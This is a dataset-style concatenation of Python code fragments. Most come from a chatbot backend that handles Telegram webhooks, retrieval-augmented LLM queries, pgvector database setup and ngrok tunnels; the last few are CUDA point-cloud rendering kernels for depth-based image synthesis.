process_webhook_telegram(webhook_data: dict): """ Telegram example response: { "update_id": 248146407, "message": { "message_id": 299, "from": { "id": 123456789, "is_bot": false, "first_name": "Elon", "username": "elonmusk", "language_code": "en" }, "chat": { "id": 123456789, "first_name": "Elon", "username": "elonmusk", "type": "private" }, "date": 1683115867, "text": "Tell me about the company?" } } """ message = webhook_data.get('message', None) chat = message.get('chat', None) message_from = message.get('from', None) return { 'update_id': webhook_data.get('update_id', None), 'message_id': message.get('message_id', None), 'user_id': message_from.get('id', None), 'username': message_from.get('username', None), 'user_language': message_from.get('language_code', None), 'user_firstname': chat.get('first_name', None), 'user_message': message.get('text', None), 'message_ts': datetime.fromtimestamp(message.get('date', None)) if message.get('date', None) else None, 'message_type': chat.get('type', None) } def chat_query( query_str: str, session_id: Optional[Union[str, UUID]] = None, meta: Optional[Dict[str, Any]] = {}, channel: Optional[CHANNEL_TYPE] = None, identifier: Optional[str] = None, project: Optional[Project] = None, organization: Optional[Organization] = None, session: Optional[Session] = None, user_data: Optional[Dict[str, Any]] = None, distance_strategy: Optional[DISTANCE_STRATEGY] = DISTANCE_STRATEGY.EUCLIDEAN, distance_threshold: Optional[float] = LLM_DISTANCE_THRESHOLD, node_limit: Optional[int] = LLM_MIN_NODE_LIMIT, model: Optional[LLM_MODELS] = LLM_MODELS.GPT_35_TURBO, max_output_tokens: Optional[int] = LLM_MAX_OUTPUT_TOKENS, ) -> ChatSessionResponse: """ Steps: 1. ✅ Clean user input 2. ✅ Create input embeddings 3. ✅ Search for similar nodes 4. ✅ Create prompt template w/ similar nodes 5. ✅ Submit prompt template to LLM 6. ✅ Get response from LLM 7. Create ChatSession - Store embeddings - Store tags - Store is_escalate 8. Return response """ meta = {} agent_name = None embeddings = [] tags = [] is_escalate = False response_message = None prompt = None context_str = None MODEL_TOKEN_LIMIT = ( model.token_limit if isinstance(model, OpenAI) else LLM_MAX_OUTPUT_TOKENS ) # --------------------------------------------- # Generate a new session ID if none is provided # --------------------------------------------- prev_chat_session = ( get_chat_session_by_uuid(session_id=session_id, session=session) if session_id else None ) # If we were given an invalid session_id if session_id and not prev_chat_session: return HTTPException( status_code=404, detail=f"Chat session with ID {session_id} not found." ) # If we were given a valid session_id elif session_id and prev_chat_session and prev_chat_session.meta.get("agent"): agent_name = prev_chat_session.meta["agent"] # If this is a new session, generate a new ID else: session_id = str(uuid4()) meta["agent"] = agent_name if agent_name else random.choice(AGENT_NAMES) # ---------------- # Clean user input # ---------------- query_str = sanitize_input(query_str) logger.debug(f"💬 Query received: {query_str}") # ---------------- # Get token counts # ---------------- query_token_count = get_token_count(query_str) prompt_token_count = 0 # ----------------------- # Create input embeddings # ----------------------- arr_query, embeddings = get_embeddings(query_str) query_embeddings = embeddings[0] # ------------------------ # Search for similar nodes # ------------------------ nodes = get_nodes_by_embedding( query_embeddings, node_limit, distance_strategy=distance_strategy if isinstance(distance_strategy, DISTANCE_STRATEGY) else LLM_DEFAULT_DISTANCE_STRATEGY, distance_threshold=distance_threshold, session=session, ) if len(nodes) > 0: if (not project or not organization) and session: # get document from Node via session object: document = session.get(Node, nodes[0].id).document project = document.project organization = project.organization # ---------------------- # Create prompt template # ---------------------- # concatenate all nodes into a single string context_str = "\n\n".join([node.text for node in nodes]) # ------------------------------------------- # Let's make sure we don't exceed token limit # ------------------------------------------- context_token_count = get_token_count(context_str) # ---------------------------------------------- # if token count exceeds limit, truncate context # ---------------------------------------------- if ( context_token_count + query_token_count + prompt_token_count ) > MODEL_TOKEN_LIMIT: logger.debug("🚧 Exceeded token limit, truncating context") token_delta = MODEL_TOKEN_LIMIT - (query_token_count + prompt_token_count) context_str = context_str[:token_delta] # create prompt template system_prompt, user_prompt = get_prompt_template( user_query=query_str, context_str=context_str, project=project, organization=organization, agent=agent_name, ) prompt_token_count = get_token_count(prompt) token_count = context_token_count + query_token_count + prompt_token_count # --------------------------- # Get response from LLM model # --------------------------- # It should return a JSON dict llm_response = json.loads( retrieve_llm_response( user_prompt, model=model, max_output_tokens=max_output_tokens, prefix_messages=system_prompt, ) ) tags = llm_response.get("tags", []) is_escalate = llm_response.get("is_escalate", False) response_message = llm_response.get("message", None) else: logger.info("🚫📝 No similar nodes found, returning default response") # ---------------- # Get user details # ---------------- user = get_user_by_uuid_or_identifier( identifier, session=session, should_except=False ) if not user: logger.debug("🚫👤 User not found, creating new user") user_params = { "identifier": identifier, "identifier_type": channel.value if isinstance(channel, CHANNEL_TYPE) else channel, } if user_data: user_params = {**user_params, **user_data} user = User.create(user_params) else: logger.debug(f"👤 User found: {user}") # ----------------------------------- # Calculate input and response tokens # ----------------------------------- token_count = get_token_count(prompt) + get_token_count(response_message) # --------------- # Add to meta tag # --------------- if tags: meta["tags"] = tags meta["is_escalate"] = is_escalate if session_id: meta["session_id"] = session_id chat_session = ChatSession( user_id=user.id, session_id=session_id, project_id=project.id if project else None, channel=channel.value if isinstance(channel, CHANNEL_TYPE) else channel, user_message=query_str, embeddings=query_embeddings, token_count=token_count if token_count > 0 else None, response=response_message, meta=meta, ) if session: session.add(chat_session) session.commit() session.refresh(chat_session) else: with Session(get_engine()) as session: session.add(chat_session) session.commit() session.refresh(chat_session) return chat_session class WebhookCreate(SQLModel): update_id: str message: Dict[str, Any] def get_session(): with Session(get_engine()) as session: yield session RASA_WEBHOOK_URL = f"http://{RASA_WEBHOOK_HOST}:{RASA_WEBHOOK_PORT}" CHANNEL_TYPE = IntEnum( "CHANNEL_TYPE", ["SMS", "TELEGRAM", "WHATSAPP", "EMAIL", "WEBSITE"] ) def get_webhook( *, session: Session = Depends(get_session), channel: str, webhook: WebhookCreate ): webhook_data = webhook.dict() # -------------------- # Get webhook metadata # -------------------- if channel == 'telegram': rasa_webhook_url = f'{RASA_WEBHOOK_URL}/webhooks/{channel}/webhook' data = process_webhook_telegram(webhook_data) channel = CHANNEL_TYPE.TELEGRAM.value user_data = { 'identifier': data['user_id'], 'identifier_type': channel, 'first_name': data['user_firstname'], 'language': data['user_language'] } session_metadata = { 'update_id': data['update_id'], 'username': data['username'], 'message_id': data['user_message'], 'msg_ts': data['message_ts'], 'msg_type': data['message_type'], } user_message = data['user_message'] else: # Not a valid channel, return 404 raise HTTPException(status_code=404, detail=f'Channel {channel} not a valid webhook channel!') chat_session = chat_query( user_message, session=session, channel=channel, identifier=user_data['identifier'], user_data=user_data, meta=session_metadata ) meta = chat_session.meta # ----------------------------------------- # Lets add the LLM response to the metadata # ----------------------------------------- webhook_data['message']['meta'] = { 'response': chat_session.response if chat_session.response else None, 'tags': meta['tags'] if 'tags' in meta else None, 'is_escalate': meta['is_escalate'] if 'is_escalate' in meta else False, 'session_id': meta['session_id'] if 'session_id' in meta else None } # ----------------------------------- # Forward the webhook to Rasa webhook # ----------------------------------- res = requests.post(rasa_webhook_url, data=json.dumps(webhook_data)) logger.debug(f'[🤖 RasaGPT API webhook]\nPosting data: {json.dumps(webhook_data)}\n\n[🤖 RasaGPT API webhook]\nRasa webhook response: {res.text}') return {'status': 'ok'}
null
17,319
from sqlalchemy.dialects.postgresql import JSONB from sqlalchemy.orm import declared_attr from pgvector.sqlalchemy import Vector from sqlalchemy import Column from datetime import datetime from util import snake_case import uuid as uuid_pkg from sqlmodel import ( UniqueConstraint, create_engine, Relationship, SQLModel, Session, select, Field, ) from typing import ( Optional, Union, List, Dict, Any ) from config import ( LLM_DEFAULT_DISTANCE_STRATEGY, VECTOR_EMBEDDINGS_COUNT, LLM_MAX_OUTPUT_TOKENS, DISTANCE_STRATEGIES, LLM_MIN_NODE_LIMIT, PGVECTOR_ADD_INDEX, ENTITY_STATUS, CHANNEL_TYPE, LLM_MODELS, DB_USER, SU_DSN, logger, ) class BaseModel(SQLModel): def __tablename__(cls) -> str: return snake_case(cls.__name__) def by_uuid(self, _uuid: uuid_pkg.UUID): with Session(get_engine()) as session: q = select(self).where(self.uuid == _uuid) org = session.exec(q).first() return org if org else None def update(self, o: Union[SQLModel, dict] = None): if not o: raise ValueError("Must provide a model or dict to update values") o = o if isinstance(o, dict) else o.dict(exclude_unset=True) for key, value in o.items(): setattr(self, key, value) # save and commit to database with Session(get_engine()) as session: session.add(self) session.commit() session.refresh(self) def delete(self): with Session(get_engine()) as session: self.status = ENTITY_STATUS.DELETED self.updated_at = datetime.utcnow() session.add(self) session.commit() session.refresh(self) def create(self, o: Union[SQLModel, dict] = None): if not o: raise ValueError("Must provide a model or dict to update values") with Session(get_engine()) as session: obj = self.from_orm(o) if isinstance(o, SQLModel) else self(**o) session.add(obj) session.commit() session.refresh(obj) return obj def get_engine(dsn: str = SU_DSN): return create_engine(dsn) def create_user_permissions(): session = Session(get_engine(dsn=SU_DSN)) # grant access to entire database and all tables to user DB_USER query = f"GRANT SELECT, INSERT, UPDATE, DELETE ON ALL TABLES IN SCHEMA public TO {DB_USER};" session.execute(query) session.commit() session.close() def create_vector_index(): # ------------------------------------- # Let's add an index for the embeddings # ------------------------------------- if PGVECTOR_ADD_INDEX is True: session = Session(get_engine(dsn=SU_DSN)) for strategy in DISTANCE_STRATEGIES: session.execute(strategy[3]) session.commit() def enable_vector(): session = Session(get_engine(dsn=SU_DSN)) query = "CREATE EXTENSION IF NOT EXISTS vector;" session.execute(query) session.commit() add_vector_distance_fn(session) session.close() logger = logging.getLogger(__name__) SU_DSN = ( f"postgresql://{POSTGRES_USER}:{POSTGRES_PASSWORD}@{DB_HOST}:{DB_PORT}/{DB_NAME}" ) def create_db(): logger.info("...Enabling pgvector and creating database tables") enable_vector() BaseModel.metadata.create_all(get_engine(dsn=SU_DSN)) create_user_permissions() create_vector_index()
null
17,320
from sqlalchemy.dialects.postgresql import JSONB from sqlalchemy.orm import declared_attr from pgvector.sqlalchemy import Vector from sqlalchemy import Column from datetime import datetime from util import snake_case import uuid as uuid_pkg from sqlmodel import ( UniqueConstraint, create_engine, Relationship, SQLModel, Session, select, Field, ) from typing import ( Optional, Union, List, Dict, Any ) from config import ( LLM_DEFAULT_DISTANCE_STRATEGY, VECTOR_EMBEDDINGS_COUNT, LLM_MAX_OUTPUT_TOKENS, DISTANCE_STRATEGIES, LLM_MIN_NODE_LIMIT, PGVECTOR_ADD_INDEX, ENTITY_STATUS, CHANNEL_TYPE, LLM_MODELS, DB_USER, SU_DSN, logger, ) class BaseModel(SQLModel): def __tablename__(cls) -> str: return snake_case(cls.__name__) def by_uuid(self, _uuid: uuid_pkg.UUID): with Session(get_engine()) as session: q = select(self).where(self.uuid == _uuid) org = session.exec(q).first() return org if org else None def update(self, o: Union[SQLModel, dict] = None): if not o: raise ValueError("Must provide a model or dict to update values") o = o if isinstance(o, dict) else o.dict(exclude_unset=True) for key, value in o.items(): setattr(self, key, value) # save and commit to database with Session(get_engine()) as session: session.add(self) session.commit() session.refresh(self) def delete(self): with Session(get_engine()) as session: self.status = ENTITY_STATUS.DELETED self.updated_at = datetime.utcnow() session.add(self) session.commit() session.refresh(self) def create(self, o: Union[SQLModel, dict] = None): if not o: raise ValueError("Must provide a model or dict to update values") with Session(get_engine()) as session: obj = self.from_orm(o) if isinstance(o, SQLModel) else self(**o) session.add(obj) session.commit() session.refresh(obj) return obj def get_engine(dsn: str = SU_DSN): return create_engine(dsn) SU_DSN = ( f"postgresql://{POSTGRES_USER}:{POSTGRES_PASSWORD}@{DB_HOST}:{DB_PORT}/{DB_NAME}" ) def drop_db(): BaseModel.metadata.drop_all(get_engine(dsn=SU_DSN))
null
17,321
from fastapi import HTTPException from uuid import UUID import os from typing import ( Optional, Union ) from config import ( FILE_UPLOAD_PATH, ENTITY_STATUS, logger ) from util import ( is_uuid, get_file_hash ) from sqlmodel import ( Session, select ) from datetime import datetime from models import ( Organization, OrganizationCreate, User, UserCreate, get_engine, Project, ProjectCreate, Document, Node, ChatSession ) def get_user_by_uuid_or_identifier( id: Union[UUID, str], session: Optional[Session] = None, should_except: bool = True ): class User(BaseModel, table=True): def chat_session_count(self) -> int: def __repr__(self): class UserCreate(SQLModel): def get_engine(dsn: str = SU_DSN): def create_user( user: Union[UserCreate, User] = None, identifier: str = None, identifier_type: str = None, device_fingerprint: str = None, first_name: str = None, last_name: str = None, email: str = None, phone: str = None, dob: str = None, session: Optional[Session] = None, ): # Check if user already exists user = ( get_user_by_uuid_or_identifier(user.id or identifier, session=session) if not isinstance(user, User) else user ) if isinstance(user, UserCreate): db_user = User.from_orm(user) if session: session.add(db_user) session.commit() session.refresh(db_user) else: with Session(get_engine()) as session: session.add(db_user) session.commit() session.refresh(db_user) elif isinstance(user, User): db_user = user db_user.update( { "identifier": identifier if identifier else user.identifier, "identifier_type": identifier_type if identifier_type else user.identifier_type, "device_fingerprint": device_fingerprint if device_fingerprint else user.device_fingerprint, "first_name": first_name if first_name else user.first_name, "last_name": last_name if last_name else user.last_name, "email": email if email else user.email, "phone": phone if phone else user.phone, "dob": dob if dob else user.dob, } ) else: db_user = User.create( { "identifier": identifier, "identifier_type": identifier_type, "device_fingerprint": device_fingerprint, "first_name": first_name, "last_name": last_name, "email": email, "phone": phone, "dob": dob, } ) return db_user
null
17,322
from fastapi import ( HTTPException, FastAPI, Depends, ) import requests import logging import asyncio import httpx import yaml import sys import os logger = logging.getLogger(__name__) logger.debug( f"NGROK_HOST: {NGROK_HOST}:{NGROK_PORT}\nNGROK_API_URL: {NGROK_API_URL}\nNGROK_INTERNAL_WEBHOOK_HOST: {NGROK_INTERNAL_WEBHOOK_HOST}:{NGROK_INTERNAL_WEBHOOK_PORT}" ) async def get_active_tunnels(): async def stop_tunnel(tunnel): async def stop_all_tunnels(): active_tunnels = await get_active_tunnels() if not active_tunnels: logger.debug("No active tunnels found.") else: for tunnel in active_tunnels: logger.debug(f"Stopping tunnel: {tunnel['name']} ({tunnel['public_url']})") await stop_tunnel(tunnel)
null
17,323
from fastapi import ( HTTPException, FastAPI, Depends, ) import requests import logging import asyncio import httpx import yaml import sys import os logger = logging.getLogger(__name__) logger.debug( f"NGROK_HOST: {NGROK_HOST}:{NGROK_PORT}\nNGROK_API_URL: {NGROK_API_URL}\nNGROK_INTERNAL_WEBHOOK_HOST: {NGROK_INTERNAL_WEBHOOK_HOST}:{NGROK_INTERNAL_WEBHOOK_PORT}" ) async def wait_for_ngrok_api(): async def get_tunnel(retry=0): async def create_tunnel(): async def update_credentials_file(ngrok_url): async def startup_event(): env = os.getenv("ENV", None) if env and env.lower() in ["dev", "development", "local"]: await wait_for_ngrok_api() url = await get_tunnel() if not url: logger.debug("No active tunnels found. Creating one...") url = await create_tunnel() logger.debug(f"Tunnel url: {url}") await update_credentials_file(url) else: logger.debug("Not in dev environment. Skipping.")
null
17,324
from fastapi import ( HTTPException, FastAPI, Depends, ) import requests import logging import asyncio import httpx import yaml import sys import os CREDENTIALS_READY = False async def check_endpoint_availability(): if not CREDENTIALS_READY: raise HTTPException(status_code=403, detail="Endpoint not available yet") return True
null
17,325
from fastapi import ( HTTPException, FastAPI, Depends, ) import requests import logging import asyncio import httpx import yaml import sys import os async def health_check(): return {"status": "ok"}
null
17,326
def depth_to_points(tenDepth, fltFocal): def spatial_filter(tenInput, strType): def process_load(npyImage, objSettings): objCommon['fltFocal'] = 1024 / 2.0 objCommon['fltBaseline'] = 40.0 objCommon['intWidth'] = npyImage.shape[1] objCommon['intHeight'] = npyImage.shape[0] tenImage = torch.FloatTensor(numpy.ascontiguousarray(npyImage.transpose(2, 0, 1)[None, :, :, :].astype(numpy.float32) * (1.0 / 255.0))).cuda() if 'npyDepth' not in objSettings: tenDisparity = disparity_estimation(tenImage) tenDisparity = disparity_adjustment(tenImage, tenDisparity) tenDisparity = disparity_refinement(tenImage, tenDisparity) tenDisparity = tenDisparity / tenDisparity.max() * objCommon['fltBaseline'] tenDepth = (objCommon['fltFocal'] * objCommon['fltBaseline']) / (tenDisparity + 0.0000001) elif 'npyDepth' in objSettings: tenDepth = torch.FloatTensor(numpy.ascontiguousarray(numpy.atleast_3d(objSettings['npyDepth']).astype(numpy.float32).transpose(2, 0, 1)[None, :, :, :])).cuda() tenDisparity = (objCommon['fltFocal'] * objCommon['fltBaseline']) / (tenDepth + 0.0000001) # end tenValid = (spatial_filter(tenDisparity / tenDisparity.max(), 'laplacian').abs() < 0.03).float() tenPoints = depth_to_points(tenDepth * tenValid, objCommon['fltFocal']) tenUnaltered = depth_to_points(tenDepth, objCommon['fltFocal']) objCommon['fltDispmin'] = tenDisparity.min().item() objCommon['fltDispmax'] = tenDisparity.max().item() objCommon['objDepthrange'] = cv2.minMaxLoc(src=tenDepth[0, 0, 128:-128, 128:-128].detach().cpu().numpy(), mask=None) objCommon['tenRawImage'] = tenImage objCommon['tenRawDisparity'] = tenDisparity objCommon['tenRawDepth'] = tenDepth objCommon['tenRawPoints'] = tenPoints.view(1, 3, -1) objCommon['tenRawUnaltered'] = tenUnaltered.view(1, 3, -1) objCommon['tenInpaImage'] = objCommon['tenRawImage'].view(1, 3, -1) objCommon['tenInpaDisparity'] = objCommon['tenRawDisparity'].view(1, 1, -1) objCommon['tenInpaDepth'] = objCommon['tenRawDepth'].view(1, 1, -1) objCommon['tenInpaPoints'] = objCommon['tenRawPoints'].view(1, 3, -1)
null
17,327
def process_shift(objSettings): fltClosestDepth = objCommon['objDepthrange'][0] + (objSettings['fltDepthTo'] - objSettings['fltDepthFrom']) fltClosestFromU = objCommon['objDepthrange'][2][0] fltClosestFromV = objCommon['objDepthrange'][2][1] fltClosestToU = fltClosestFromU + objSettings['fltShiftU'] fltClosestToV = fltClosestFromV + objSettings['fltShiftV'] fltClosestFromX = ((fltClosestFromU - (objCommon['intWidth'] / 2.0)) * fltClosestDepth) / objCommon['fltFocal'] fltClosestFromY = ((fltClosestFromV - (objCommon['intHeight'] / 2.0)) * fltClosestDepth) / objCommon['fltFocal'] fltClosestToX = ((fltClosestToU - (objCommon['intWidth'] / 2.0)) * fltClosestDepth) / objCommon['fltFocal'] fltClosestToY = ((fltClosestToV - (objCommon['intHeight'] / 2.0)) * fltClosestDepth) / objCommon['fltFocal'] fltShiftX = fltClosestFromX - fltClosestToX fltShiftY = fltClosestFromY - fltClosestToY fltShiftZ = objSettings['fltDepthTo'] - objSettings['fltDepthFrom'] tenShift = torch.tensor(data=[[[fltShiftX], [fltShiftY], [fltShiftZ]]], dtype=torch.float32, device=torch.device('cuda')) tenPoints = objSettings['tenPoints'].clone() tenPoints[:, 0:1, :] *= tenPoints[:, 2:3, :] / (objSettings['tenPoints'][:, 2:3, :] + 0.0000001) tenPoints[:, 1:2, :] *= tenPoints[:, 2:3, :] / (objSettings['tenPoints'][:, 2:3, :] + 0.0000001) tenPoints += tenShift return tenPoints, tenShift def render_pointcloud(tenInput, tenData, intWidth, intHeight, fltFocal, fltBaseline): tenData = torch.cat([ tenData, tenData.new_ones([ tenData.shape[0], 1, tenData.shape[2] ]) ], 1) tenZee = tenInput.new_zeros([ tenData.shape[0], 1, intHeight, intWidth ]).fill_(1000000.0) tenOutput = tenInput.new_zeros([ tenData.shape[0], tenData.shape[1], intHeight, intWidth ]) n = tenInput.shape[0] * tenInput.shape[2] launch_kernel('kernel_pointrender_updateZee', preprocess_kernel(''' extern "C" __global__ void kernel_pointrender_updateZee( const int n, const float* input, const float* data, const float* zee ) { for (int intIndex = (blockIdx.x * blockDim.x) + threadIdx.x; intIndex < n; intIndex += blockDim.x * gridDim.x) { const int intSample = ( intIndex / SIZE_2(input) ) % SIZE_0(input); const int intPoint = ( intIndex ) % SIZE_2(input); assert(SIZE_1(input) == 3); assert(SIZE_1(zee) == 1); float3 fltPlanePoint = make_float3(0.0, 0.0, {{fltFocal}}); float3 fltPlaneNormal = make_float3(0.0, 0.0, 1.0); float3 fltLinePoint = make_float3(VALUE_3(input, intSample, 0, intPoint), VALUE_3(input, intSample, 1, intPoint), VALUE_3(input, intSample, 2, intPoint)); float3 fltLineVector = make_float3(0.0, 0.0, 0.0) - fltLinePoint; if (fltLinePoint.z < 0.001) { return; } float fltNumerator = dot(fltPlanePoint - fltLinePoint, fltPlaneNormal); float fltDenominator = dot(fltLineVector, fltPlaneNormal); float fltDistance = fltNumerator / fltDenominator; if (fabs(fltDenominator) < 0.001) { return; } float3 fltIntersection = fltLinePoint + (fltDistance * fltLineVector); // https://en.wikipedia.org/wiki/Line%E2%80%93plane_intersection float fltOutputX = fltIntersection.x + (0.5 * SIZE_3(zee)) - 0.5; float fltOutputY = fltIntersection.y + (0.5 * SIZE_2(zee)) - 0.5; float fltError = 1000000.0 - (({{fltFocal}} * {{fltBaseline}}) / (fltLinePoint.z + 0.0000001)); int intNorthwestX = (int) (floor(fltOutputX)); int intNorthwestY = (int) (floor(fltOutputY)); int intNortheastX = intNorthwestX + 1; int intNortheastY = intNorthwestY; int intSouthwestX = intNorthwestX; int intSouthwestY = intNorthwestY + 1; int intSoutheastX = intNorthwestX + 1; int intSoutheastY = intNorthwestY + 1; float fltNorthwest = (intSoutheastX - fltOutputX) * (intSoutheastY - fltOutputY); float fltNortheast = (fltOutputX - intSouthwestX) * (intSouthwestY - fltOutputY); float fltSouthwest = (intNortheastX - fltOutputX) * (fltOutputY - intNortheastY); float fltSoutheast = (fltOutputX - intNorthwestX) * (fltOutputY - intNorthwestY); if ((fltNorthwest >= fltNortheast) && (fltNorthwest >= fltSouthwest) && (fltNorthwest >= fltSoutheast)) { if ((intNorthwestX >= 0) && (intNorthwestX < SIZE_3(zee)) && (intNorthwestY >= 0) && (intNorthwestY < SIZE_2(zee))) { atomicMin(&zee[OFFSET_4(zee, intSample, 0, intNorthwestY, intNorthwestX)], fltError); } } else if ((fltNortheast >= fltNorthwest) && (fltNortheast >= fltSouthwest) && (fltNortheast >= fltSoutheast)) { if ((intNortheastX >= 0) && (intNortheastX < SIZE_3(zee)) && (intNortheastY >= 0) && (intNortheastY < SIZE_2(zee))) { atomicMin(&zee[OFFSET_4(zee, intSample, 0, intNortheastY, intNortheastX)], fltError); } } else if ((fltSouthwest >= fltNorthwest) && (fltSouthwest >= fltNortheast) && (fltSouthwest >= fltSoutheast)) { if ((intSouthwestX >= 0) && (intSouthwestX < SIZE_3(zee)) && (intSouthwestY >= 0) && (intSouthwestY < SIZE_2(zee))) { atomicMin(&zee[OFFSET_4(zee, intSample, 0, intSouthwestY, intSouthwestX)], fltError); } } else if ((fltSoutheast >= fltNorthwest) && (fltSoutheast >= fltNortheast) && (fltSoutheast >= fltSouthwest)) { if ((intSoutheastX >= 0) && (intSoutheastX < SIZE_3(zee)) && (intSoutheastY >= 0) && (intSoutheastY < SIZE_2(zee))) { atomicMin(&zee[OFFSET_4(zee, intSample, 0, intSoutheastY, intSoutheastX)], fltError); } } } } ''', { 'intWidth': intWidth, 'intHeight': intHeight, 'fltFocal': fltFocal, 'fltBaseline': fltBaseline, 'input': tenInput, 'data': tenData, 'zee': tenZee }))( grid=tuple([ int((n + 512 - 1) / 512), 1, 1 ]), block=tuple([ 512, 1, 1 ]), args=[ cupy.int32(n), tenInput.data_ptr(), tenData.data_ptr(), tenZee.data_ptr() ] ) n = tenZee.nelement() launch_kernel('kernel_pointrender_updateDegrid', preprocess_kernel(''' extern "C" __global__ void kernel_pointrender_updateDegrid( const int n, const float* input, const float* data, float* zee ) { for (int intIndex = (blockIdx.x * blockDim.x) + threadIdx.x; intIndex < n; intIndex += blockDim.x * gridDim.x) { const int intN = ( intIndex / SIZE_3(zee) / SIZE_2(zee) / SIZE_1(zee) ) % SIZE_0(zee); const int intC = ( intIndex / SIZE_3(zee) / SIZE_2(zee) ) % SIZE_1(zee); const int intY = ( intIndex / SIZE_3(zee) ) % SIZE_2(zee); const int intX = ( intIndex ) % SIZE_3(zee); assert(SIZE_1(input) == 3); assert(SIZE_1(zee) == 1); int intCount = 0; float fltSum = 0.0; int intOpposingX[] = { 1, 0, 1, 1 }; int intOpposingY[] = { 0, 1, 1, -1 }; for (int intOpposing = 0; intOpposing < 4; intOpposing += 1) { int intOneX = intX + intOpposingX[intOpposing]; int intOneY = intY + intOpposingY[intOpposing]; int intTwoX = intX - intOpposingX[intOpposing]; int intTwoY = intY - intOpposingY[intOpposing]; if ((intOneX < 0) | (intOneX >= SIZE_3(zee)) | (intOneY < 0) | (intOneY >= SIZE_2(zee))) { continue; } else if ((intTwoX < 0) | (intTwoX >= SIZE_3(zee)) | (intTwoY < 0) | (intTwoY >= SIZE_2(zee))) { continue; } if (VALUE_4(zee, intN, intC, intY, intX) >= VALUE_4(zee, intN, intC, intOneY, intOneX) + 1.0) { if (VALUE_4(zee, intN, intC, intY, intX) >= VALUE_4(zee, intN, intC, intTwoY, intTwoX) + 1.0) { intCount += 2; fltSum += VALUE_4(zee, intN, intC, intOneY, intOneX); fltSum += VALUE_4(zee, intN, intC, intTwoY, intTwoX); } } } if (intCount > 0) { zee[OFFSET_4(zee, intN, intC, intY, intX)] = min(VALUE_4(zee, intN, intC, intY, intX), fltSum / intCount); } } } ''', { 'intWidth': intWidth, 'intHeight': intHeight, 'fltFocal': fltFocal, 'fltBaseline': fltBaseline, 'input': tenInput, 'data': tenData, 'zee': tenZee }))( grid=tuple([ int((n + 512 - 1) / 512), 1, 1 ]), block=tuple([ 512, 1, 1 ]), args=[ cupy.int32(n), tenInput.data_ptr(), tenData.data_ptr(), tenZee.data_ptr() ] ) n = tenInput.shape[0] * tenInput.shape[2] launch_kernel('kernel_pointrender_updateOutput', preprocess_kernel(''' extern "C" __global__ void kernel_pointrender_updateOutput( const int n, const float* input, const float* data, const float* zee, float* output ) { for (int intIndex = (blockIdx.x * blockDim.x) + threadIdx.x; intIndex < n; intIndex += blockDim.x * gridDim.x) { const int intSample = ( intIndex / SIZE_2(input) ) % SIZE_0(input); const int intPoint = ( intIndex ) % SIZE_2(input); assert(SIZE_1(input) == 3); assert(SIZE_1(zee) == 1); float3 fltPlanePoint = make_float3(0.0, 0.0, {{fltFocal}}); float3 fltPlaneNormal = make_float3(0.0, 0.0, 1.0); float3 fltLinePoint = make_float3(VALUE_3(input, intSample, 0, intPoint), VALUE_3(input, intSample, 1, intPoint), VALUE_3(input, intSample, 2, intPoint)); float3 fltLineVector = make_float3(0.0, 0.0, 0.0) - fltLinePoint; if (fltLinePoint.z < 0.001) { return; } float fltNumerator = dot(fltPlanePoint - fltLinePoint, fltPlaneNormal); float fltDenominator = dot(fltLineVector, fltPlaneNormal); float fltDistance = fltNumerator / fltDenominator; if (fabs(fltDenominator) < 0.001) { return; } float3 fltIntersection = fltLinePoint + (fltDistance * fltLineVector); // https://en.wikipedia.org/wiki/Line%E2%80%93plane_intersection float fltOutputX = fltIntersection.x + (0.5 * SIZE_3(output)) - 0.5; float fltOutputY = fltIntersection.y + (0.5 * SIZE_2(output)) - 0.5; float fltError = 1000000.0 - (({{fltFocal}} * {{fltBaseline}}) / (fltLinePoint.z + 0.0000001)); int intNorthwestX = (int) (floor(fltOutputX)); int intNorthwestY = (int) (floor(fltOutputY)); int intNortheastX = intNorthwestX + 1; int intNortheastY = intNorthwestY; int intSouthwestX = intNorthwestX; int intSouthwestY = intNorthwestY + 1; int intSoutheastX = intNorthwestX + 1; int intSoutheastY = intNorthwestY + 1; float fltNorthwest = (intSoutheastX - fltOutputX) * (intSoutheastY - fltOutputY); float fltNortheast = (fltOutputX - intSouthwestX) * (intSouthwestY - fltOutputY); float fltSouthwest = (intNortheastX - fltOutputX) * (fltOutputY - intNortheastY); float fltSoutheast = (fltOutputX - intNorthwestX) * (fltOutputY - intNorthwestY); if ((intNorthwestX >= 0) && (intNorthwestX < SIZE_3(output)) && (intNorthwestY >= 0) && (intNorthwestY < SIZE_2(output))) { if (fltError <= VALUE_4(zee, intSample, 0, intNorthwestY, intNorthwestX) + 1.0) { for (int intData = 0; intData < SIZE_1(data); intData += 1) { atomicAdd(&output[OFFSET_4(output, intSample, intData, intNorthwestY, intNorthwestX)], VALUE_3(data, intSample, intData, intPoint) * fltNorthwest); } } } if ((intNortheastX >= 0) && (intNortheastX < SIZE_3(output)) && (intNortheastY >= 0) && (intNortheastY < SIZE_2(output))) { if (fltError <= VALUE_4(zee, intSample, 0, intNortheastY, intNortheastX) + 1.0) { for (int intData = 0; intData < SIZE_1(data); intData += 1) { atomicAdd(&output[OFFSET_4(output, intSample, intData, intNortheastY, intNortheastX)], VALUE_3(data, intSample, intData, intPoint) * fltNortheast); } } } if ((intSouthwestX >= 0) && (intSouthwestX < SIZE_3(output)) && (intSouthwestY >= 0) && (intSouthwestY < SIZE_2(output))) { if (fltError <= VALUE_4(zee, intSample, 0, intSouthwestY, intSouthwestX) + 1.0) { for (int intData = 0; intData < SIZE_1(data); intData += 1) { atomicAdd(&output[OFFSET_4(output, intSample, intData, intSouthwestY, intSouthwestX)], VALUE_3(data, intSample, intData, intPoint) * fltSouthwest); } } } if ((intSoutheastX >= 0) && (intSoutheastX < SIZE_3(output)) && (intSoutheastY >= 0) && (intSoutheastY < SIZE_2(output))) { if (fltError <= VALUE_4(zee, intSample, 0, intSoutheastY, intSoutheastX) + 1.0) { for (int intData = 0; intData < SIZE_1(data); intData += 1) { atomicAdd(&output[OFFSET_4(output, intSample, intData, intSoutheastY, intSoutheastX)], VALUE_3(data, intSample, intData, intPoint) * fltSoutheast); } } } } } ''', { 'intWidth': intWidth, 'intHeight': intHeight, 'fltFocal': fltFocal, 'fltBaseline': fltBaseline, 'input': tenInput, 'data': tenData, 'zee': tenZee, 'output': tenOutput }))( grid=tuple([ int((n + 512 - 1) / 512), 1, 1 ]), block=tuple([ 512, 1, 1 ]), args=[ cupy.int32(n), tenInput.data_ptr(), tenData.data_ptr(), tenZee.data_ptr(), tenOutput.data_ptr() ] ) return tenOutput[:, :-1, :, :] / (tenOutput[:, -1:, :, :] + 0.0000001), tenOutput[:, -1:, :, :].detach().clone() def process_autozoom(objSettings): npyShiftU = 